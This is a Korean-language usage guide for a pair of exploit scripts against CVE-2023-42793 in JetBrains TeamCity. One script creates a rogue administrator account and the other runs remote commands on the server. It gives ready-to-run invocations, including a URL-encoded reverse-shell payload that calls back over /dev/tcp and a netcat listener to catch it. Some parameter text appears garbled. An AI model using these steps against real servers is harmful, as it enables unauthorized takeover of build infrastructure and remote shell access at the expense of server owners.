
JetBrains TeamCity 2023.05.3 - 원격 코드 실행 (RCE), CVE-2023-42793
먼저
exploit.py를 사용하여 관리자 계정을 생성한 후rce.py를 사용하여 대상에서 명령을 실행하고, 리버스 셸은 이 링크를 확인하세요
이 스크립트는 CVE-2023-42793을 악용하여 TeamCity 서버에 관리자 계정을 생성합니다. 대상 URL에 POST 요청을 보내 지정된 또는 임의의 자격 증명으로 관리자 사용자를 생성합니다.
python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]
-u, --url URL: 대상 URL (필수)-v, --verbose: 상세 모드 활성화-n, --username USERNAME: 사용자 이름 지정 (기본값: 무작위)-p, --password PASSWORD: 비밀번호 지정 (기본값: 무작위)-e, --email EMAIL: 이메일 지정 (기본값: 무작위)-t, --token-file: 토큰을 저장할 파일pip3 install -r requirements.txt무작위 사용자 이름, 비밀번호, 이메일로 익스플로잇:
python exploit.py -u http://target.com
지정된 사용자 이름, 비밀번호, 이메일로 익스플로잇:
python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
성공적으로 익스플로잇되면 스크립트는 생성된 관리자 계정의 URL, 사용자 이름, 비밀번호를 출력한 후 출력을 토큰 파일에 저장합니다.
설명 이 스크립트는 CVE-2023-42793을 악용하여 취약한 TeamCity 서버에서 명령을 실행할 수 있습니다. 먼저 디버그 프로세스를 활성화한 다음 적절한 API 엔드포인트를 사용하여 지정된 명령을 실행합니다.
python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]
-u, --url URL : 대상 URL (필수)-t, --token-file : 토큰이 포함된 파일 지정-c, --command COMMAND: 실행할 명령 지정 (RCE)-P, --port PORT: 포트 지정 (기본값은 80)지정된 명령으로 익스플로잇:
python rce.py -u http://target.com -t token -c "whoami"
python3 rce.py -u http://target.com -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
nc -nvlp 5555